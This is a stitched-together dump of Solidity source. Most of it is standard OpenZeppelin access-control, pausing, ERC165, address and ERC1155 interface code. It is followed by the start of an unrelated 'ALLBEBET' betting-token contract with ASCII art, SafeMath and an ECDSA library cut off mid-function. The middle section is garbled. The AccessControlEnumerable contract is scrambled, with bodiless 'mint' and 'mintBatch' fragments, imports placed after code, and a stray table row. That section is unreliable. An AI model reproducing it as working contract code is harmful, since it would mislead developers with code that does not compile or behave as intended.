* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
SPDX-License-Identifier: MIT OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)* @dev Extension of {AccessControl} that allows enumerating the members of each role./
|
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
}
}
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
| 14,818,316
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pragma solidity >= 0.5.0;
// Token contract - ALLBEBET Token
// https://allbebet.bet
// SPORTS BETTING PLATFORM
// ___¶¶¶____________¶¶¶¶¶¶¶
//__¶¶¶¶__________¶¶¶¶¶¶¶¶¶¶¶
//_¶¶¶¶¶_________¶¶¶¶¶¶¶¶¶¶¶¶¶
//__¶¶¶¶_________¶¶¶¶¶¶¶¶¶¶¶¶¶
//_¶¶¶¶¶_________¶¶¶¶¶¶¶¶¶¶¶¶¶
//¶¶¶¶¶¶¶_________¶¶¶¶¶¶¶¶¶¶¶
//¶¶¶¶¶¶¶¶_________¶¶¶¶¶¶¶¶¶
//¶¶¶¶¶¶¶¶¶
//____¶¶¶¶¶¶¶
//______¶¶¶¶¶¶¶
//_______¶¶¶¶¶¶¶
//________¶¶¶¶¶¶¶______¶¶¶¶
//_________¶¶¶¶¶¶¶¶_____¶¶¶¶_____¶¶¶¶¶
//__________¶¶¶¶¶¶¶¶¶_____¶¶¶___¶¶¶¶¶¶¶
//___________¶¶¶¶¶¶¶¶¶_____¶¶¶___¶¶¶¶¶¶¶
//_____________¶¶¶¶¶¶¶¶¶____¶¶¶¶_¶¶¶¶¶¶¶
//_______________¶¶¶¶¶¶¶¶_____¶¶¶¶¶¶¶¶¶¶
//________________¶¶¶¶¶¶¶¶¶¶___¶¶¶¶¶¶¶¶¶¶¶¶¶
//________________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//_________________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//_______________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//___________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//_____¶¶¶¶¶¶¶¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//___¶¶¶¶¶¶¶________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//___¶¶¶¶____________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//____________________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶
//_____________________¶¶¶¶¶¶¶¶¶¶¶¶¶
//_____________________¶¶¶¶¶¶¶¶¶¶¶¶¶
//_____________________¶¶¶¶¶¶¶¶¶¶¶¶
//_____________________¶¶¶¶¶¶¶¶¶¶¶¶
//______________________¶¶¶¶¶¶¶¶¶¶¶
//_______________________¶¶¶¶¶¶¶¶¶
//________________________¶¶¶¶¶¶¶
//_______________________¶¶¶¶¶¶¶
//______________________¶¶¶¶¶¶¶
//_____________________¶¶¶¶¶¶¶
//____________________¶¶¶¶¶¶¶
//___________________¶¶¶¶¶¶¶
//___________________¶¶¶¶¶¶¶
//__________________¶¶¶¶¶¶
//_________________¶¶¶¶¶¶
//________________¶¶¶¶¶¶
//_______________¶¶¶¶¶
//______________¶¶¶¶¶
//___________¶¶¶¶¶¶
//__________¶¶¶¶¶¶¶
//___________¶¶¶¶¶¶
//___________¶¶¶¶¶¶
//___________¶¶¶¶¶
//_____________¶¶¶
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Safe mul error");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "Safe div error");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Safe sub error");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Safe add error");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Safe mod error");
return a % b;
}
}
/**
* @title Elliptic curve signature operations
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*/
library ECDSA {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param signature bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
